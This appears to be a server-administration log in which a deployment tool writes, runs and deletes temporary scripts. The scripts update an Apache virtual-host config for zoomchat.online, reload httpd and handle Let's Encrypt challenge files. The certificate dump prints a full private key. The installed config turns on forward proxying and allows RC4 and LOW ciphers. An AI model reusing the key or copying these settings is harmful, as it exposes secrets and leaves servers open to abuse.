	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/httpd/conf.d/zoomchat_www_online.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-07-10 06:00:33: 

chmod 755 /tmp/pkp865503; /tmp/pkp865503; rm /tmp/pkp865503

2026-07-10 06:00:34: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/zoomchat_www_online.conf 2243

<VirtualHost *:80>
    ServerName	zoomchat.online
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.zoomchat.online
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/zoomchat/www_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	zoomchat.online
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.zoomchat.online
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    ProxyRequests	On
    RewriteEngine	On
    <Location /ws/>
        ProxyPass	ws://localhost:9512/
        ProxyPassReverse	ws://localhost:9512/
    </Location>
    
    <Location /wsx/>
        ProxyPass	http://localhost:9512/
        ProxyPassReverse	http://localhost:9512/
    </Location>
    
    CustomLog	/var/log/httpd/zoomchat/www_secure_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-07-10 06:00:34: 

PUT: /tmp/pkp691599

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/httpd
BASENAME=zoomchat_www_online.conf
TARGET=/etc/httpd/conf.d/zoomchat_www_online.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	zoomchat.online
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.zoomchat.online
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/zoomchat/www_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	zoomchat.online
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.zoomchat.online
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    ProxyRequests	On
    RewriteEngine	On
    <Location /ws/>
        ProxyPass	ws://localhost:9512/
        ProxyPassReverse	ws://localhost:9512/
    </Location>
    
    <Location /wsx/>
        ProxyPass	http://localhost:9512/
        ProxyPassReverse	http://localhost:9512/
    </Location>
    
    CustomLog	/var/log/httpd/zoomchat/www_secure_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/httpd/conf.d/zoomchat_www_online.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/httpd/sites-enabled/zoomchat_www_online.conf)= /etc/httpd//etc/httpd/conf.d/zoomchat_www_online.conf'
	echo 'file(/etc/httpd//etc/httpd/conf.d/zoomchat_www_online.conf= 1'
fi


2026-07-10 06:00:34: 

chmod 755 /tmp/pkp691599; /tmp/pkp691599; rm /tmp/pkp691599

2026-07-10 06:00:35: 




2026-07-10 06:00:35: 

PUT: /tmp/pkp893634

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-07-10 06:00:35: 

chmod 755 /tmp/pkp893634; /tmp/pkp893634; rm /tmp/pkp893634

2026-07-10 06:00:35: 


.


2026-07-10 06:00:35: Establishing a connection
2026-07-10 06:00:37: 

PUT: /tmp/pkp109606

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-07-10 06:00:38: 

chmod 755 /tmp/pkp109606; /tmp/pkp109606; rm /tmp/pkp109606

2026-07-10 06:00:38: 


[Fri Jul 10 06:00:38.474470 2026] [so:warn] [pid 1177197:tid 140704664549696] AH01574: module status_module is already loaded, skipping
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
         port 80 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
         port 80 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:2)
         port 80 namevhost voip.patientapps.net (/etc/httpd/conf.d/patientapps.conf:1)
         port 80 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:2)
         port 80 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:2)
                 alias www.zoomchat.online
*:443                  is a NameVirtualHost
         default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
         port 443 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
         port 443 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:29)
         port 443 namevhost messier.pjy.us (/etc/httpd/conf.d/ssl.conf:40)
         port 443 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:31)
         port 443 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:30)
                 alias www.zoomchat.online
ServerRoot: "/etc/httpd"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/etc/httpd/logs/error_log"
Mutex watchdog-callback: using_defaults
Mutex proxy-balancer-shm: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex authdigest-client: using_defaults
Mutex lua-ivm-shm: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex authn-socache: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/etc/httpd/run/" mechanism=default 
Mutex cache-socache: using_defaults
Mutex authdigest-opaque: using_defaults
PidFile: "/etc/httpd/run/httpd.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="asterisk" id=1000
Group: name="asterisk" id=1000
.




STDERR:
[Fri Jul 10 06:00:38.474470 2026] [so:warn] [pid 1177197:tid 140704664549696] AH01574: module status_module is already loaded, skipping


2026-07-10 06:00:38: 

PUT: /tmp/pkp206408

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/httpd/conf.d/zoomchat_www_online.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-10 06:00:39: 

chmod 755 /tmp/pkp206408; /tmp/pkp206408; rm /tmp/pkp206408

2026-07-10 06:00:39: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/zoomchat_www_online.conf	2243

<VirtualHost *:80>
    ServerName	zoomchat.online
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.zoomchat.online
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/zoomchat/www_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	zoomchat.online
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.zoomchat.online
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    ProxyRequests	On
    RewriteEngine	On
    <Location /ws/>
        ProxyPass	ws://localhost:9512/
        ProxyPassReverse	ws://localhost:9512/
    </Location>
    
    <Location /wsx/>
        ProxyPass	http://localhost:9512/
        ProxyPassReverse	http://localhost:9512/
    </Location>
    
    CustomLog	/var/log/httpd/zoomchat/www_secure_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-07-10 06:00:39: 

PUT: /tmp/pkp268763

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-10 06:00:39: 

chmod 755 /tmp/pkp268763; /tmp/pkp268763; rm /tmp/pkp268763

2026-07-10 06:00:40: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt	7440
12:39:19:a7:b7:45:9f:81:f5:34:93:25:e0:45:85:d4

-----BEGIN CERTIFICATE-----
MIIFDDCCA/SgAwIBAgISBaa+mCq0/c8vNYlZtMUbsSmFMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNzEwMDUwMTU3WhcNMjYxMDA4MDUwMTU2WjAaMRgwFgYDVQQD
Ew96b29tY2hhdC5vbmxpbmUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCb6PpO4/j5t64Pal1j2t7Z292ij/aJa+3QnTuA7nDM/10zX9oqZbfVAEJ4BtoX
ppArLki+FLEDcr9BrOk6rktBqG5GAc8nXkCJ4Y6hzBa+KnuY9DSkyfZXZIuGZ2np
u2ZguzKoNlTmbuD6hJu99G+CqBzIV60GpxcaA/EVioa0UwBpO0Gr2WQkU8IcbfwP
0U+FvYn2LJH9SQvtZw/ZZpTSmLAXta8EohfEtPepw3ZOoy/9SC31G5cf+NiAiD+P
myUlTAXa/gWRH181w5SPEktD1Q39X1iN9c8y30hbYOwZQTnYGc4+GA2CPod76YjO
tSQrYmVSYB7IS50id24zBzk/AgMBAAGjggIxMIICLTAOBgNVHQ8BAf8EBAMCBaAw
EwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUrkSs
BCkQHaEpYapXRL7sUKrK/3owHwYDVR0jBBgwFoAUQBUtJnntMiCe35pyHdYyH4EM
gQwwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8veXIyLmkubGVu
Y3Iub3JnLzAvBgNVHREEKDAmghN3d3cuem9vbWNoYXQub25saW5lgg96b29tY2hh
dC5vbmxpbmUwEwYDVR0gBAwwCjAIBgZngQwBAgEwLQYDVR0fBCYwJDAioCCgHoYc
aHR0cDovL3lyMi5jLmxlbmNyLm9yZy82LmNybDCCAQwGCisGAQQB1nkCBAIEgf0E
gfoA+AB2AMs49xWJfIShRF9bwd37yW7ymlnNRwppBYWwyxTDFFjnAAABn0qc9EgA
AAQDAEcwRQIgVJm8HeeLjhiuBS4NqXf5OpN3Cnt2XP/ZcIz9tmMDtKwCIQCo31vP
GtVFecuqrB9rUJajnH4lM66FfAyCp6u7fWwkzAB+AEavhj07PuWfpXfeqCRdNrDZ
7SKiI/Rhd0EilFLulVBfAAABn0qc9IwACAAABQAMa8dZBAMARzBFAiB2KT9CBHfP
6eFcMA8y2i6CNG/OOjkRIZvIYxoqzEvpMgIhAJbxIOhAlTZaIwr8oXVGl2Ilx/xB
RfHZ7rYj5LOZ+W+mMA0GCSqGSIb3DQEBCwUAA4IBAQAgsMTHxuADpYZCCF+ROmVU
PVBBVxOVzzHwlwObK/kFe9wi3CJhLlhg46cNEo6qHhW63Ar9njEbKgf1WtW8Vp97
K0Be6tN36CJia2pP/d9qaNcL7T8u/J9ExKbe8X7KuiLNGuZmHP8pFQqEyd5juwNx
88ULadaTY7AHlmdKWt3uSq2frf4SSj7sO8ffMGm+4z8YZc0L14O82aQ8Tn9viB99
QKe44QAQ7J8gW0mDHMURvjBT/CW+rHYY6EKTF29BXb3QN2FJCa6VRmIXPspV9ToI
+3vBpEcuQM0RGtLoPmIoGIfKr6Uq4VUZMt5oG0eFR/R1k3zrTcGIPeQEwHrxn3Jr
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCb6PpO4/j5t64P
al1j2t7Z292ij/aJa+3QnTuA7nDM/10zX9oqZbfVAEJ4BtoXppArLki+FLEDcr9B
rOk6rktBqG5GAc8nXkCJ4Y6hzBa+KnuY9DSkyfZXZIuGZ2npu2ZguzKoNlTmbuD6
hJu99G+CqBzIV60GpxcaA/EVioa0UwBpO0Gr2WQkU8IcbfwP0U+FvYn2LJH9SQvt
Zw/ZZpTSmLAXta8EohfEtPepw3ZOoy/9SC31G5cf+NiAiD+PmyUlTAXa/gWRH181
w5SPEktD1Q39X1iN9c8y30hbYOwZQTnYGc4+GA2CPod76YjOtSQrYmVSYB7IS50i
d24zBzk/AgMBAAECggEAKF6rjYjfG33xnoE6nFP8dynEmkavngapxeYolapn39TR
g69ylJ7Q+mC+VUjk6NHSq7Oo1zsRWKS6HB3TKEQgLWiY4Ryv0HBJwsn6Pi/TxbrH
VSQKi47V7+wTaqJVXNWO3UYriD3FPwN/0q5Ki2WDCDBSf5egMERMqYpSvvKnDYK2
fpShotLSOZcvssp6X394MLsIJM/1Y3thvZsNzmAJPHtF09E0oRBmlAvYc+p+B0Ln
O2gPdEQrhFz5h274Lq3b/bxjgGoCiGIXszPeF237VKLDEMUOqlzBUpIVNZDXTviP
+TFuoxrzUVc4NpuQAqfS6j4ksuUhE8OowdZPLAWddQKBgQDbxG/GEZkwt3xBoDyF
qcFfGVXzA01plge+xgUQhMy/JbS/Qo0JWtX+u7pHX9OHj2G1ftQFCro7qAO3CRTg
+2uJJLULND52Zj0fad5jJCQOAl6pUsC3meclMVs1BjhTgKJEYkDnpHIVTwkEW5Mf
/i1La73zCsc31uFASSRqBhB+mwKBgQC1nVz3xnIPG3J9bjqC9UKIzZHLWCgl2s8V
L3T0Qi0GqLJF+d6qrsw7Pj269zbvaDQkhbiCMFyjgNIUjfGZUELZT1cE1loEVWyS
Ck/n+47VCmXH1zRCVAzMViRCxJrV+8ZfHjjo8grytkCGKzH5qJAmgBHODdngoZW9
6V37zjZoLQKBgH6gC4sDXtHMFwM1EUouimWCEpzHvVXmBSZtsENZUSOd1SwSa3MF
bKGuhuFTHG1SNwk9P2p8SNvQrftLd0U+eDJ3/PysqITN2c/8zw8upruPr/092h6v
xZgPfS7rG485YcWnGyCdBsKyXE6vePEJIg3/0V11S14oKHdC7YFNZzmbAoGAbSjT
ez30ym3F5+w8EQCXaCCfE+i94Nregy5ODo5D/++fj327Pz3nFWi4s8rpYwZv6M/S
8bVdyQyhuKcEYxEhzPnqJMctvdMWecTm+Fl0JUqlmHMaPw/DzYGtM9B1/E3jksJY
lHL+75lpuPr3g8a0Nd/eU8pxfZnBpi9BRRtSClUCgYB9LHRiupv/6/4Xrt06F2vL
MccT+JsrBwcvxbKaHzQjCO57kHn4rbxhRc8oErumFfAvAXIHqN9fzPrhdPQXPoAe
q0OV9O+3NSo4fl6YUPM8NG5nXViwPKTMjBDpqNiK+bMfu4wQqqfU59Mc30HHb8+a
tO8uOF8W5V4Mq6QPr/EVsw==
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----






2026-07-10 06:00:40: Establishing a connection
2026-07-10 06:00:40: Establishing a connection
2026-07-10 06:00:40: 

PUT: /tmp/pkp333958

#!/bin/bash
if [ -d "/var/www/hristadelfiane_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-10 06:00:44: 

chmod 755 /tmp/pkp333958; /tmp/pkp333958; rm /tmp/pkp333958

2026-07-10 06:00:44: 


1


2026-07-10 06:00:44: Establishing a connection
2026-07-10 06:00:45: 

PUT: /tmp/pkp116127

#!/bin/bash
mkdir -p "/var/www/hristadelfiane_www/.well-known/acme-challenge/"
cd "/var/www/hristadelfiane_www/.well-known/acme-challenge/"
cat > nTWykPrhLpzDOsg7FhCLeWl5FGDx9hibkR3PNpyvFaE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
nTWykPrhLpzDOsg7FhCLeWl5FGDx9hibkR3PNpyvFaE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 nTWykPrhLpzDOsg7FhCLeWl5FGDx9hibkR3PNpyvFaE
cat > tbkvdjEoPumMiM2zBY_83xNp_FLQmxA7ZxELZkjSwv0 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
tbkvdjEoPumMiM2zBY_83xNp_FLQmxA7ZxELZkjSwv0.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 tbkvdjEoPumMiM2zBY_83xNp_FLQmxA7ZxELZkjSwv0


2026-07-10 06:00:45: 

chmod 755 /tmp/pkp116127; /tmp/pkp116127; rm /tmp/pkp116127

2026-07-10 06:00:45: 




2026-07-10 06:00:55: Establishing a connection
2026-07-10 06:00:55: 

PUT: /tmp/pkp166058

#!/bin/bash
mkdir -p "/var/www/hristadelfiane_www/.well-known/acme-challenge/"
cd "/var/www/hristadelfiane_www/.well-known/acme-challenge/"
rm nTWykPrhLpzDOsg7FhCLeWl5FGDx9hibkR3PNpyvFaE
rm tbkvdjEoPumMiM2zBY_83xNp_FLQmxA7ZxELZkjSwv0


2026-07-10 06:00:56: 

